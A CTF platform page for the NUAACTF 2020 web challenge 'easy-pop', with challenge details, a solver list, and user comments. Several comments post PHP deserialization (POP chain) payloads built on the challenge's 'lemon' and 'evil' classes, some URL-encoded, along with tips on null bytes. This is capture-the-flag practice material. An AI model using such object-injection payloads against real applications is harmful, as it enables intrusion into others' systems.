easy-popWEB 未解决

分数: 0 金币: 0
所属赛事: NUAACTF 2020
题目作者: 未知
一  血: Lxxx
一血奖励: 0金币
解  决: 290
提  示:
描  述:
nuaactf{}
评论
网恋秀牛子被录屏导致自卑 1月前

$a=new lemon();就行

回复 0

solomom 3月前

?d=O:5:"lemon":1:{s:11:"%00*%00ClassObj";O:4:"evil":1:{s:10:"evildata";N;}}

回复 0

vincentshine 1年前

看了writeUP,不base64编码一下 真的会遗漏特殊字符,造成反序列化失败

回复 0

绝情且小帅 1年前

?d=O:5:"lemon":1:{s:11:"%00*%00ClassObj";O:4:"evil":1:{s:10:"%00evil%00data";N;}}

回复 0

vchopin 2年前

O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3BN%3B%7D%7D

回复 0

chaoge 2年前

注意%00

回复 0

hopeinhand 2年前

简单的反序列化,重构 __constract()指向evil

回复 0

WriteUp

image
sean

1 金币

评分(1)

解题动态

dyh1213 攻破了该题 1天前
飞行雪融 攻破了该题 3天前
kiritoldws 攻破了该题 5天前
lon 攻破了该题 8天前
chrisslyy 攻破了该题 11天前
GNMO 攻破了该题 1月前
yttitan 攻破了该题 1月前
2kniden 攻破了该题 1月前
wwwwjjj 攻破了该题 1月前
网恋秀牛子被录屏导致自卑 攻破了该题 1月前
d2pq2 攻破了该题 1月前
omango 攻破了该题 1月前
xjn12 攻破了该题 1月前
xiaoxiaojiangshi 攻破了该题 2月前
neeko 攻破了该题 2月前
Zpfhh 攻破了该题 2月前
Air51930 攻破了该题 2月前
aboic 攻破了该题 2月前
eason2023 攻破了该题 2月前
zrc2682 攻破了该题 2月前
问题反馈